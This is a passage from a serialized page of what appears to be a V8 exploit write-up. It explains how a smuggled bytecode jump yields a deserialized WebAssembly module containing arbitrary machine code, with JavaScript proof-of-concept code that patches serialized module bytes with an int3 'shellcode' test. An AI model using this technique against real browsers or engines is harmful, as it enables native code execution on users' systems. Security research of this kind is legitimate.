0xa931111;'",{"type":21,"tag":85,"props":133670,"children":133671},{"style":114},[133672],{"type":26,"value":73},{"type":21,"tag":85,"props":133674,"children":133675},{"style":1021},[133676],{"type":26,"value":133677},"repeat",{"type":21,"tag":85,"props":133679,"children":133680},{"style":114},[133681],{"type":26,"value":1439},{"type":21,"tag":85,"props":133683,"children":133684},{"style":2285},[133685],{"type":26,"value":133686},"0x059302",{"type":21,"tag":85,"props":133688,"children":133689},{"style":169},[133690],{"type":26,"value":51711},{"type":21,"tag":85,"props":133692,"children":133693},{"style":2285},[133694],{"type":26,"value":3279},{"type":21,"tag":85,"props":133696,"children":133697},{"style":114},[133698],{"type":26,"value":133699},")}\n",{"type":21,"tag":85,"props":133701,"children":133702},{"class":87,"line":151},[133703,133708,133712,133717],{"type":21,"tag":85,"props":133704,"children":133705},{"style":120},[133706],{"type":26,"value":133707},"  a1",{"type":21,"tag":85,"props":133709,"children":133710},{"style":169},[133711],{"type":26,"value":3274},{"type":21,"tag":85,"props":133713,"children":133714},{"style":2285},[133715],{"type":26,"value":133716}," 0x0402666c",{"type":21,"tag":85,"props":133718,"children":133719},{"style":114},[133720],{"type":26,"value":2535},{"type":21,"tag":85,"props":133722,"children":133723},{"class":87,"line":160},[133724,133728,133733],{"type":21,"tag":85,"props":133725,"children":133726},{"style":2885},[133727],{"type":26,"value":35649},{"type":21,"tag":85,"props":133729,"children":133730},{"style":2285},[133731],{"type":26,"value":133732}," 0x393e91a",{"type":21,"tag":85,"props":133734,"children":133735},{"style":114},[133736],{"type":26,"value":2535},{"type":21,"tag":85,"props":133738,"children":133739},{"class":87,"line":185},[133740,133744,133748,133752,133756],{"type":21,"tag":85,"props":133741,"children":133742},{"style":114},[133743],{"type":26,"value":47328},{"type":21,"tag":85,"props":133745,"children":133746},{"style":2885},[133747],{"type":26,"value":48866},{"type":21,"tag":85,"props":133749,"children":133750},{"style":114},[133751],{"type":26,"value":717},{"type":21,"tag":85,"props":133753,"children":133754},{"style":120},[133755],{"type":26,"value":51910},{"type":21,"tag":85,"props":133757,"children":133758},{"style":114},[133759],{"type":26,"value":15222},{"type":21,"tag":85,"props":133761,"children":133762},{"class":87,"line":501},[133763,133767,133771,133775,133779,133784],{"type":21,"tag":85,"props":133764,"children":133765},{"style":120},[133766],{"type":26,"value":102406},{"type":21,"tag":85,"props":133768,"children":133769},{"style":114},[133770],{"type":26,"value":73},{"type":21,"tag":85,"props":133772,"children":133773},{"style":1021},[133774],{"type":26,"value":102415},{"type":21,"tag":85,"props":133776,"children":133777},{"style":114},[133778],{"type":26,"value":1439},{"type":21,"tag":85,"props":133780,"children":133781},{"style":5026},[133782],{"type":26,"value":133783},"\"foo\"",{"type":21,"tag":85,"props":133785,"children":133786},{"style":114},[133787],{"type":26,"value":777},{"type":21,"tag":85,"props":133789,"children":133790},{"class":87,"line":697},[133791,133796,133801],{"type":21,"tag":85,"props":133792,"children":133793},{"style":2885},[133794],{"type":26,"value":133795},"  yield",{"type":21,"tag":85,"props":133797,"children":133798},{"style":120},[133799],{"type":26,"value":133800}," a16",{"type":21,"tag":85,"props":133802,"children":133803},{"style":114},[133804],{"type":26,"value":2535},{"type":21,"tag":85,"props":133806,"children":133807},{"class":87,"line":706},[133808],{"type":21,"tag":85,"props":133809,"children":133810},{"style":114},[133811],{"type":26,"value":2671},{"type":21,"tag":22,"props":133813,"children":133814},{},[133815,133817],{"type":26,"value":133816},"Starting from the final ",{"type":21,"tag":66,"props":133818,"children":133820},{"className":133819},[],[133821],{"type":26,"value":133524},{"type":21,"tag":75,"props":133823,"children":133825},{"code":133824}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[133826],{"type":21,"tag":66,"props":133827,"children":133828},{"__ignoreMap":7},[133829],{"type":26,"value":133824},{"type":21,"tag":22,"props":133831,"children":133832},{},[133833,133835,133840,133842,133848],{"type":26,"value":133834},"The smuggled jump in ",{"type":21,"tag":66,"props":133836,"children":133838},{"className":133837},[],[133839],{"type":26,"value":133524},{"type":26,"value":133841}," will redirect us to ",{"type":21,"tag":66,"props":133843,"children":133845},{"className":133844},[],[133846],{"type":26,"value":133847},"1a e9 93 03",{"type":26,"value":133849},", which results in:",{"type":21,"tag":17108,"props":133851,"children":133852},{},[133853,133864],{"type":21,"tag":845,"props":133854,"children":133855},{},[133856,133862],{"type":21,"tag":66,"props":133857,"children":133859},{"className":133858},[],[133860],{"type":26,"value":133861},"Star r16",{"type":26,"value":133863}," (store accumulator to r16)",{"type":21,"tag":845,"props":133865,"children":133866},{},[133867,133872],{"type":21,"tag":66,"props":133868,"children":133870},{"className":133869},[],[133871],{"type":26,"value":133294},{"type":26,"value":133873}," past the throw into the catch relevant code",{"type":21,"tag":22,"props":133875,"children":133876},{},[133877,133879,133885],{"type":26,"value":133878},"This will bring us nicely to the final ",{"type":21,"tag":66,"props":133880,"children":133882},{"className":133881},[],[133883],{"type":26,"value":133884},"yield a16",{"type":26,"value":133886},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":21,"tag":10022,"props":133888,"children":133890},{"id":133889},"executing-shellcode",[133891],{"type":26,"value":133892},"Executing Shellcode",{"type":21,"tag":22,"props":133894,"children":133895},{},[133896],{"type":26,"value":133897},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":21,"tag":75,"props":133899,"children":133901},{"code":133900,"language":36063,"meta":7,"className":36061,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[133902],{"type":21,"tag":66,"props":133903,"children":133904},{"__ignoreMap":7},[133905,133935,134162,134230,134237,134282,134328,134368,134375,134399,134436,134472],{"type":21,"tag":85,"props":133906,"children":133907},{"class":87,"line":88},[133908,133912,133917,133921,133925,133930],{"type":21,"tag":85,"props":133909,"children":133910},{"style":102},[133911],{"type":26,"value":35494},{"type":21,"tag":85,"props":133913,"children":133914},{"style":120},[133915],{"type":26,"value":133916}," wasm_code",{"type":21,"tag":85,"props":133918,"children":133919},{"style":169},[133920],{"type":26,"value":1941},{"type":21,"tag":85,"props":133922,"children":133923},{"style":102},[133924],{"type":26,"value":32378},{"type":21,"tag":85,"props":133926,"children":133927},{"style":1021},[133928],{"type":26,"value":133929}," Uint8Array",{"type":21,"tag":85,"props":133931,"children":133932},{"style":114},[133933],{"type":26,"value":133934},"([\n",{"type":21,"tag":85,"props":133936,"children":133937},{"class":87,"line":98},[133938,133943,133947,133952,133956,133961,133965,133970,133974,133978,133982,133986,133990,133994,133998,134002,134006,134010,134014,134018,134022,134026,134030,134035,134039,134043,134047,134051,134055,134059,134063,134067,134071,134075,134079,134083,134087,134091,134095,134099,134103,134107,134111,134115,134119,134123,134127,134132,134136,134141,134145,134150,134154,134158],{"type":21,"tag":85,"props":133939,"children":133940},{"style":2285},[133941],{"type":26,"value":133942},"  0",{"type":21,"tag":85,"props":133944,"children":133945},{"style":114},[133946],{"type":26,"value":256},{"type":21,"tag":85,"props":133948,"children":133949},{"style":2285},[133950],{"type":26,"value":133951},"97",{"type":21,"tag":85,"props":133953,"children":133954},{"style":114},[133955],{"type":26,"value":256},{"type":21,"tag":85,"props":133957,"children":133958},{"style":2285},[133959],{"type":26,"value":133960},"115",{"type":21,"tag":85,"props":133962,"children":133963},{"style":114},[133964],{"type":26,"value":256},{"type":21,"tag":85,"props":133966,"children":133967},{"style":2285},[133968],{"type":26,"value":133969},"109",{"type":21,"tag":85,"props":133971,"children":133972},{"style":114},[133973],{"type":26,"value":256},{"type":21,"tag":85,"props":133975,"children":133976},{"style":2285},[133977],{"type":26,"value":4779},{"type":21,"tag":85,"props":133979,"children":133980},{"style":114},[133981],{"type":26,"value":256},{"type":21,"tag":85,"props":133983,"children":133984},{"style":2285},[133985],{"type":26,"value":4789},{"type":21,"tag":85,"props":133987,"children":133988},{"style":114},[133989],{"type":26,"value":256},{"type":21,"tag":85,"props":133991,"children":133992},{"style":2285},[133993],{"type":26,"value":4789},{"type":21,"tag":85,"props":133995,"children":133996},{"style":114},[133997],{"type":26,"value":256},{"type":21,"tag":85,"props":133999,"children":134000},{"style":2285},[134001],{"type":26,"value":4789},{"type":21,"tag":85,"props":134003,"children":134004},{"style":114},[134005],{"type":26,"value":256},{"type":21,"tag":85,"props":134007,"children":134008},{"style":2285},[134009],{"type":26,"value":4779},{"type":21,"tag":85,"props":134011,"children":134012},{"style":114},[134013],{"type":26,"value":256},{"type":21,"tag":85,"props":134015,"children":134016},{"style":2285},[134017],{"type":26,"value":17951},{"type":21,"tag":85,"props":134019,"children":134020},{"style":114},[134021],{"type":26,"value":256},{"type":21,"tag":85,"props":134023,"children":134024},{"style":2285},[134025],{"type":26,"value":4779},{"type":21,"tag":85,"props":134027,"children":134028},{"style":114},[134029],{"type":26,"value":256},{"type":21,"tag":85,"props":134031,"children":134032},{"style":2285},[134033],{"type":26,"value":134034},"96",{"type":21,"tag":85,"props":134036,"children":134037},{"style":114},[134038],{"type":26,"value":256},{"type":21,"tag":85,"props":134040,"children":134041},{"style":2285},[134042],{"type":26,"value":4789},{"type":21,"tag":85,"props":134044,"children":134045},{"style":114},[134046],{"type":26,"value":256},{"type":21,"tag":85,"props":134048,"children":134049},{"style":2285},[134050],{"type":26,"value":4789},{"type":21,"tag":85,"props":134052,"children":134053},{"style":114},[134054],{"type":26,"value":256},{"type":21,"tag":85,"props":134056,"children":134057},{"style":2285},[134058],{"type":26,"value":17718},{"type":21,"tag":85,"props":134060,"children":134061},{"style":114},[134062],{"type":26,"value":256},{"type":21,"tag":85,"props":134064,"children":134065},{"style":2285},[134066],{"type":26,"value":3895},{"type":21,"tag":85,"props":134068,"children":134069},{"style":114},[134070],{"type":26,"value":256},{"type":21,"tag":85,"props":134072,"children":134073},{"style":2285},[134074],{"type":26,"value":4779},{"type":21,"tag":85,"props":134076,"children":134077},{"style":114},[134078],{"type":26,"value":256},{"type":21,"tag":85,"props":134080,"children":134081},{"style":2285},[134082],{"type":26,"value":4789},{"type":21,"tag":85,"props":134084,"children":134085},{"style":114},[134086],{"type":26,"value":256},{"type":21,"tag":85,"props":134088,"children":134089},{"style":2285},[134090],{"type":26,"value":55127},{"type":21,"tag":85,"props":134092,"children":134093},{"style":114},[134094],{"type":26,"value":256},{"type":21,"tag":85,"props":134096,"children":134097},{"style":2285},[134098],{"type":26,"value":56342},{"type":21,"tag":85,"props":134100,"children":134101},{"style":114},[134102],{"type":26,"value":256},{"type":21,"tag":85,"props":134104,"children":134105},{"style":2285},[134106],{"type":26,"value":4779},{"type":21,"tag":85,"props":134108,"children":134109},{"style":114},[134110],{"type":26,"value":256},{"type":21,"tag":85,"props":134112,"children":134113},{"style":2285},[134114],{"type":26,"value":18532},{"type":21,"tag":85,"props":134116,"children":134117},{"style":114},[134118],{"type":26,"value":256},{"type":21,"tag":85,"props":134120,"children":134121},{"style":2285},[134122],{"type":26,"value":133960},{"type":21,"tag":85,"props":134124,"children":134125},{"style":114},[134126],{"type":26,"value":256},{"type":21,"tag":85,"props":134128,"children":134129},{"style":2285},[134130],{"type":26,"value":134131},"104",{"type":21,"tag":85,"props":134133,"children":134134},{"style":114},[134135],{"type":26,"value":256},{"type":21,"tag":85,"props":134137,"children":134138},{"style":2285},[134139],{"type":26,"value":134140},"101",{"type":21,"tag":85,"props":134142,"children":134143},{"style":114},[134144],{"type":26,"value":256},{"type":21,"tag":85,"props":134146,"children":134147},{"style":2285},[134148],{"type":26,"value":134149},"108",{"type":21,"tag":85,"props":134151,"children":134152},{"style":114},[134153],{"type":26,"value":256},{"type":21,"tag":85,"props":134155,"children":134156},{"style":2285},[134157],{"type":26,"value":134149},{"type":21,"tag":85,"props":134159,"children":134160},{"style":114},[134161],{"type":26,"value":182},{"type":21,"tag":85,"props":134163,"children":134164},{"class":87,"line":151},[134165,134169,134173,134177,134181,134185,134189,134193,134197,134201,134205,134209,134213,134217,134221,134226],{"type":21,"tag":85,"props":134166,"children":134167},{"style":2285},[134168],{"type":26,"value":133942},{"type":21,"tag":85,"props":134170,"children":134171},{"style":114},[134172],{"type":26,"value":256},{"type":21,"tag":85,"props":134174,"children":134175},{"style":2285},[134176],{"type":26,"value":4789},{"type":21,"tag":85,"props":134178,"children":134179},{"style":114},[134180],{"type":26,"value":256},{"type":21,"tag":85,"props":134182,"children":134183},{"style":2285},[134184],{"type":26,"value":89715},{"type":21,"tag":85,"props":134186,"children":134187},{"style":114},[134188],{"type":26,"value":256},{"type":21,"tag":85,"props":134190,"children":134191},{"style":2285},[134192],{"type":26,"value":17951},{"type":21,"tag":85,"props":134194,"children":134195},{"style":114},[134196],{"type":26,"value":256},{"type":21,"tag":85,"props":134198,"children":134199},{"style":2285},[134200],{"type":26,"value":4779},{"type":21,"tag":85,"props":134202,"children":134203},{"style":114},[134204],{"type":26,"value":256},{"type":21,"tag":85,"props":134206,"children":134207},{"style":2285},[134208],{"type":26,"value":3895},{"type":21,"tag":85,"props":134210,"children":134211},{"style":114},[134212],{"type":26,"value":256},{"type":21,"tag":85,"props":134214,"children":134215},{"style":2285},[134216],{"type":26,"value":4789},{"type":21,"tag":85,"props":134218,"children":134219},{"style":114},[134220],{"type":26,"value":256},{"type":21,"tag":85,"props":134222,"children":134223},{"style":2285},[134224],{"type":26,"value":134225},"11",{"type":21,"tag":85,"props":134227,"children":134228},{"style":114},[134229],{"type":26,"value":182},{"type":21,"tag":85,"props":134231,"children":134232},{"class":87,"line":160},[134233],{"type":21,"tag":85,"props":134234,"children":134235},{"style":114},[134236],{"type":26,"value":4517},{"type":21,"tag":85,"props":134238,"children":134239},{"class":87,"line":185},[134240,134244,134248,134252,134256,134261,134265,134269,134273,134278],{"type":21,"tag":85,"props":134241,"children":134242},{"style":102},[134243],{"type":26,"value":35494},{"type":21,"tag":85,"props":134245,"children":134246},{"style":120},[134247],{"type":26,"value":72084},{"type":21,"tag":85,"props":134249,"children":134250},{"style":169},[134251],{"type":26,"value":1941},{"type":21,"tag":85,"props":134253,"children":134254},{"style":102},[134255],{"type":26,"value":32378},{"type":21,"tag":85,"props":134257,"children":134258},{"style":120},[134259],{"type":26,"value":134260}," WebAssembly",{"type":21,"tag":85,"props":134262,"children":134263},{"style":114},[134264],{"type":26,"value":73},{"type":21,"tag":85,"props":134266,"children":134267},{"style":1021},[134268],{"type":26,"value":86381},{"type":21,"tag":85,"props":134270,"children":134271},{"style":114},[134272],{"type":26,"value":1439},{"type":21,"tag":85,"props":134274,"children":134275},{"style":120},[134276],{"type":26,"value":134277},"wasm_code",{"type":21,"tag":85,"props":134279,"children":134280},{"style":114},[134281],{"type":26,"value":777},{"type":21,"tag":85,"props":134283,"children":134284},{"class":87,"line":501},[134285,134289,134294,134298,134302,134306,134310,134315,134319,134324],{"type":21,"tag":85,"props":134286,"children":134287},{"style":102},[134288],{"type":26,"value":35494},{"type":21,"tag":85,"props":134290,"children":134291},{"style":120},[134292],{"type":26,"value":134293}," inst",{"type":21,"tag":85,"props":134295,"children":134296},{"style":169},[134297],{"type":26,"value":1941},{"type":21,"tag":85,"props":134299,"children":134300},{"style":102},[134301],{"type":26,"value":32378},{"type":21,"tag":85,"props":134303,"children":134304},{"style":120},[134305],{"type":26,"value":134260},{"type":21,"tag":85,"props":134307,"children":134308},{"style":114},[134309],{"type":26,"value":73},{"type":21,"tag":85,"props":134311,"children":134312},{"style":1021},[134313],{"type":26,"value":134314},"Instance",{"type":21,"tag":85,"props":134316,"children":134317},{"style":114},[134318],{"type":26,"value":1439},{"type":21,"tag":85,"props":134320,"children":134321},{"style":120},[134322],{"type":26,"value":134323},"mod",{"type":21,"tag":85,"props":134325,"children":134326},{"style":114},[134327],{"type":26,"value":777},{"type":21,"tag":85,"props":134329,"children":134330},{"class":87,"line":697},[134331,134335,134339,134343,134347,134351,134355,134359,134364],{"type":21,"tag":85,"props":134332,"children":134333},{"style":102},[134334],{"type":26,"value":35494},{"type":21,"tag":85,"props":134336,"children":134337},{"style":120},[134338],{"type":26,"value":80471},{"type":21,"tag":85,"props":134340,"children":134341},{"style":169},[134342],{"type":26,"value":1941},{"type":21,"tag":85,"props":134344,"children":134345},{"style":120},[134346],{"type":26,"value":134293},{"type":21,"tag":85,"props":134348,"children":134349},{"style":114},[134350],{"type":26,"value":73},{"type":21,"tag":85,"props":134352,"children":134353},{"style":120},[134354],{"type":26,"value":38334},{"type":21,"tag":85,"props":134356,"children":134357},{"style":114},[134358],{"type":26,"value":73},{"type":21,"tag":85,"props":134360,"children":134361},{"style":120},[134362],{"type":26,"value":134363},"shell",{"type":21,"tag":85,"props":134365,"children":134366},{"style":114},[134367],{"type":26,"value":2535},{"type":21,"tag":85,"props":134369,"children":134370},{"class":87,"line":706},[134371],{"type":21,"tag":85,"props":134372,"children":134373},{"emptyLinePlaceholder":16},[134374],{"type":26,"value":703},{"type":21,"tag":85,"props":134376,"children":134377},{"class":87,"line":1100},[134378,134382,134387,134391,134395],{"type":21,"tag":85,"props":134379,"children":134380},{"style":169},[134381],{"type":26,"value":56845},{"type":21,"tag":85,"props":134383,"children":134384},{"style":1021},[134385],{"type":26,"value":134386},"WasmTierUpFunction",{"type":21,"tag":85,"props":134388,"children":134389},{"style":114},[134390],{"type":26,"value":1439},{"type":21,"tag":85,"props":134392,"children":134393},{"style":120},[134394],{"type":26,"value":76762},{"type":21,"tag":85,"props":134396,"children":134397},{"style":114},[134398],{"type":26,"value":777},{"type":21,"tag":85,"props":134400,"children":134401},{"class":87,"line":1339},[134402,134406,134411,134415,134420,134424,134428,134432],{"type":21,"tag":85,"props":134403,"children":134404},{"style":102},[134405],{"type":26,"value":35494},{"type":21,"tag":85,"props":134407,"children":134408},{"style":120},[134409],{"type":26,"value":134410}," serialized",{"type":21,"tag":85,"props":134412,"children":134413},{"style":169},[134414],{"type":26,"value":1941},{"type":21,"tag":85,"props":134416,"children":134417},{"style":169},[134418],{"type":26,"value":134419}," %",{"type":21,"tag":85,"props":134421,"children":134422},{"style":1021},[134423],{"type":26,"value":133418},{"type":21,"tag":85,"props":134425,"children":134426},{"style":114},[134427],{"type":26,"value":1439},{"type":21,"tag":85,"props":134429,"children":134430},{"style":120},[134431],{"type":26,"value":134323},{"type":21,"tag":85,"props":134433,"children":134434},{"style":114},[134435],{"type":26,"value":777},{"type":21,"tag":85,"props":134437,"children":134438},{"class":87,"line":1348},[134439,134443,134447,134451,134455,134459,134463,134468],{"type":21,"tag":85,"props":134440,"children":134441},{"style":102},[134442],{"type":26,"value":12204},{"type":21,"tag":85,"props":134444,"children":134445},{"style":120},[134446],{"type":26,"value":3541},{"type":21,"tag":85,"props":134448,"children":134449},{"style":169},[134450],{"type":26,"value":1941},{"type":21,"tag":85,"props":134452,"children":134453},{"style":102},[134454],{"type":26,"value":32378},{"type":21,"tag":85,"props":134456,"children":134457},{"style":1021},[134458],{"type":26,"value":133929},{"type":21,"tag":85,"props":134460,"children":134461},{"style":114},[134462],{"type":26,"value":1439},{"type":21,"tag":85,"props":134464,"children":134465},{"style":120},[134466],{"type":26,"value":134467},"serialized",{"type":21,"tag":85,"props":134469,"children":134470},{"style":114},[134471],{"type":26,"value":777},{"type":21,"tag":85,"props":134473,"children":134474},{"class":87,"line":1386},[134475,134480,134484,134488,134492,134497,134501,134505,134509,134514,134518,134523,134527,134531,134536],{"type":21,"tag":85,"props":134476,"children":134477},{"style":120},[134478],{"type":26,"value":134479},"console",{"type":21,"tag":85,"props":134481,"children":134482},{"style":114},[134483],{"type":26,"value":73},{"type":21,"tag":85,"props":134485,"children":134486},{"style":1021},[134487],{"type":26,"value":102415},{"type":21,"tag":85,"props":134489,"children":134490},{"style":114},[134491],{"type":26,"value":1439},{"type":21,"tag":85,"props":134493,"children":134494},{"style":5026},[134495],{"type":26,"value":134496},"'['",{"type":21,"tag":85,"props":134498,"children":134499},{"style":169},[134500],{"type":26,"value":3274},{"type":21,"tag":85,"props":134502,"children":134503},{"style":120},[134504],{"type":26,"value":3541},{"type":21,"tag":85,"props":134506,"children":134507},{"style":114},[134508],{"type":26,"value":73},{"type":21,"tag":85,"props":134510,"children":134511},{"style":1021},[134512],{"type":26,"value":134513},"join",{"type":21,"tag":85,"props":134515,"children":134516},{"style":114},[134517],{"type":26,"value":1439},{"type":21,"tag":85,"props":134519,"children":134520},{"style":5026},[134521],{"type":26,"value":134522},"', '",{"type":21,"tag":85,"props":134524,"children":134525},{"style":114},[134526],{"type":26,"value":736},{"type":21,"tag":85,"props":134528,"children":134529},{"style":169},[134530],{"type":26,"value":5151},{"type":21,"tag":85,"props":134532,"children":134533},{"style":5026},[134534],{"type":26,"value":134535}," ']'",{"type":21,"tag":85,"props":134537,"children":134538},{"style":114},[134539],{"type":26,"value":777},{"type":21,"tag":22,"props":134541,"children":134542},{},[134543],{"type":26,"value":134544},"This produces the following output:",{"type":21,"tag":75,"props":134546,"children":134548},{"code":134547},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[134549],{"type":21,"tag":66,"props":134550,"children":134551},{"__ignoreMap":7},[134552],{"type":26,"value":134547},{"type":21,"tag":22,"props":134554,"children":134555},{},[134556,134558,134564,134566,134572,134574,134580,134581,134587,134589,134594],{"type":26,"value":134557},"The bytes ",{"type":21,"tag":66,"props":134559,"children":134561},{"className":134560},[],[134562],{"type":26,"value":134563},"85, 72, 137, 229, ...",{"type":26,"value":134565}," correspond to the x86-64 function prologue (",{"type":21,"tag":66,"props":134567,"children":134569},{"className":134568},[],[134570],{"type":26,"value":134571},"push rbp; mov rbp, rsp",{"type":26,"value":134573},"). We replace the first byte with ",{"type":21,"tag":66,"props":134575,"children":134577},{"className":134576},[],[134578],{"type":26,"value":134579},"0xcc",{"type":26,"value":16880},{"type":21,"tag":66,"props":134582,"children":134584},{"className":134583},[],[134585],{"type":26,"value":134586},"int3",{"type":26,"value":134588}," opcode), and use this modified buffer as the serialized input to ",{"type":21,"tag":66,"props":134590,"children":134592},{"className":134591},[],[134593],{"type":26,"value":133392},{"type":26,"value":172},{"type":21,"tag":75,"props":134596,"children":134598},{"code":134597,"language":36063,"meta":7,"className":36061,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[134599],{"type":21,"tag":66,"props":134600,"children":134601},{"__ignoreMap":7},[134602,134625,134652,134872,134939,134947,134974,135188,135440,135691,135917,136161,136381,136388,136437,136482,136526,136565,136577],{"type":21,"tag":85,"props":134603,"children":134604},{"class":87,"line":88},[134605,134609,134613,134617,134621],{"type":21,"tag":85,"props":134606,"children":134607},{"style":114},[134608],{"type":26,"value":1439},{"type":21,"tag":85,"props":134610,"children":134611},{"style":102},[134612],{"type":26,"value":36593},{"type":21,"tag":85,"props":134614,"children":134615},{"style":114},[134616],{"type":26,"value":40145},{"type":21,"tag":85,"props":134618,"children":134619},{"style":102},[134620],{"type":26,"value":15240},{"type":21,"tag":85,"props":134622,"children":134623},{"style":114},[134624],{"type":26,"value":148},{"type":21,"tag":85,"props":134626,"children":134627},{"class":87,"line":98},[134628,134632,134636,134640,134644,134648],{"type":21,"tag":85,"props":134629,"children":134630},{"style":102},[134631],{"type":26,"value":36636},{"type":21,"tag":85,"props":134633,"children":134634},{"style":120},[134635],{"type":26,"value":133916},{"type":21,"tag":85,"props":134637,"children":134638},{"style":169},[134639],{"type":26,"value":1941},{"type":21,"tag":85,"props":134641,"children":134642},{"style":102},[134643],{"type":26,"value":32378},{"type":21,"tag":85,"props":134645,"children":134646},{"style":1021},[134647],{"type":26,"value":133929},{"type":21,"tag":85,"props":134649,"children":134650},{"style":114},[134651],{"type":26,"value":133934},{"type":21,"tag":85,"props":134653,"children":134654},{"class":87,"line":151},[134655,134660,134664,134668,134672,134676,134680,134684,134688,134692,134696,134700,134704,134708,134712,134716,134720,134724,134728,134732,134736,134740,134744,134748,134752,134756,134760,134764,134768,134772,134776,134780,134784,134788,134792,134796,134800,134804,134808,134812,134816,134820,134824,134828,134832,134836,134840,134844,134848,134852,134856,134860,134864,134868],{"type":21,"tag":85,"props":134656,"children":134657},{"style":2285},[134658],{"type":26,"value":134659},"    0",{"type":21,"tag":85,"props":134661,"children":134662},{"style":114},[134663],{"type":26,"value":256},{"type":21,"tag":85,"props":134665,"children":134666},{"style":2285},[134667],{"type":26,"value":133951},{"type":21,"tag":85,"props":134669,"children":134670},{"style":114},[134671],{"type":26,"value":256},{"type":21,"tag":85,"props":134673,"children":134674},{"style":2285},[134675],{"type":26,"value":133960},{"type":21,"tag":85,"props":134677,"children":134678},{"style":114},[134679],{"type":26,"value":256},{"type":21,"tag":85,"props":134681,"children":134682},{"style":2285},[134683],{"type":26,"value":133969},{"type":21,"tag":85,"props":134685,"children":134686},{"style":114},[134687],{"type":26,"value":256},{"type":21,"tag":85,"props":134689,"children":134690},{"style":2285},[134691],{"type":26,"value":4779},{"type":21,"tag":85,"props":134693,"children":134694},{"style":114},[134695],{"type":26,"value":256},{"type":21,"tag":85,"props":134697,"children":134698},{"style":2285},[134699],{"type":26,"value":4789},{"type":21,"tag":85,"props":134701,"children":134702},{"style":114},[134703],{"type":26,"value":256},{"type":21,"tag":85,"props":134705,"children":134706},{"style":2285},[134707],{"type":26,"value":4789},{"type":21,"tag":85,"props":134709,"children":134710},{"style":114},[134711],{"type":26,"value":256},{"type":21,"tag":85,"props":134713,"children":134714},{"style":2285},[134715],{"type":26,"value":4789},{"type":21,"tag":85,"props":134717,"children":134718},{"style":114},[134719],{"type":26,"value":256},{"type":21,"tag":85,"props":134721,"children":134722},{"style":2285},[134723],{"type":26,"value":4779},{"type":21,"tag":85,"props":134725,"children":134726},{"style":114},[134727],{"type":26,"value":256},{"type":21,"tag":85,"props":134729,"children":134730},{"style":2285},[134731],{"type":26,"value":17951},{"type":21,"tag":85,"props":134733,"children":134734},{"style":114},[134735],{"type":26,"value":256},{"type":21,"tag":85,"props":134737,"children":134738},{"style":2285},[134739],{"type":26,"value":4779},{"type":21,"tag":85,"props":134741,"children":134742},{"style":114},[134743],{"type":26,"value":256},{"type":21,"tag":85,"props":134745,"children":134746},{"style":2285},[134747],{"type":26,"value":134034},{"type":21,"tag":85,"props":134749,"children":134750},{"style":114},[134751],{"type":26,"value":256},{"type":21,"tag":85,"props":134753,"children":134754},{"style":2285},[134755],{"type":26,"value":4789},{"type":21,"tag":85,"props":134757,"children":134758},{"style":114},[134759],{"type":26,"value":256},{"type":21,"tag":85,"props":134761,"children":134762},{"style":2285},[134763],{"type":26,"value":4789},{"type":21,"tag":85,"props":134765,"children":134766},{"style":114},[134767],{"type":26,"value":256},{"type":21,"tag":85,"props":134769,"children":134770},{"style":2285},[134771],{"type":26,"value":17718},{"type":21,"tag":85,"props":134773,"children":134774},{"style":114},[134775],